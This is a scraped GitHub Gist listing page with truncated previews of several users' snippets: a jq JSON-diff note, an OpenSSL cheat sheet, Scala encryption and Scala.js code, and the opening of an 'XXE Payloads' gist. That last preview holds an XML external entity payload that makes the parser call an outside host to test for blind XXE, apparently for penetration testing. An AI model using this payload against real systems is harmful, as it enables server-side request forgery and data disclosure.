Skip to content

Instantly share code, notes, and snippets.

View pfcoperez's full-sized avatar

Pablo Francisco Pérez Hidalgo pfcoperez

View GitHub Profile
@ipan
ipan / diff-jq.md
Created January 16, 2018 04:47
compare two JSONs with jq #json #jq
@alvarow
alvarow / openssl-cheat.sh
Last active April 11, 2024 04:30
OpenSSL and Keytool cheat sheet
# Generate a new key
openssl genrsa -out server.key 2048
# Generate a new CSR
openssl req -sha256 -new -key server.key -out server.csr
# Check certificate against CA
openssl verify -verbose -CApath ./CA/ -CAfile ./CA/cacert.pem cert.pem
# Self Signed
import java.security.MessageDigest
import java.util
import javax.crypto.Cipher
import javax.crypto.spec.SecretKeySpec
import org.apache.commons.codec.binary.Base64
/**
* Sample:
* {{{
* scala> val key = "My very own, very private key here!"
anonymous
anonymous / Main.scala
Created November 28, 2014 09:41
Scala.jsFiddle gist
object ScalaJSExample extends js.JSApp{
def pi(n: Int, tracer: ((Double, Double, Boolean) => Unit)) = {
import scala.util.Random.nextDouble
import scala.math.hypot
def inQuadrant(a: Double, b: Double): Boolean = hypot(a,b)<=1.0
def trySum(n: Int, m: Int): Double = n match {
case 0 => m
case _ => {
val a = nextDouble
val b = nextDouble
@staaldraad
staaldraad / XXE_payloads
Last active April 7, 2024 14:26
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>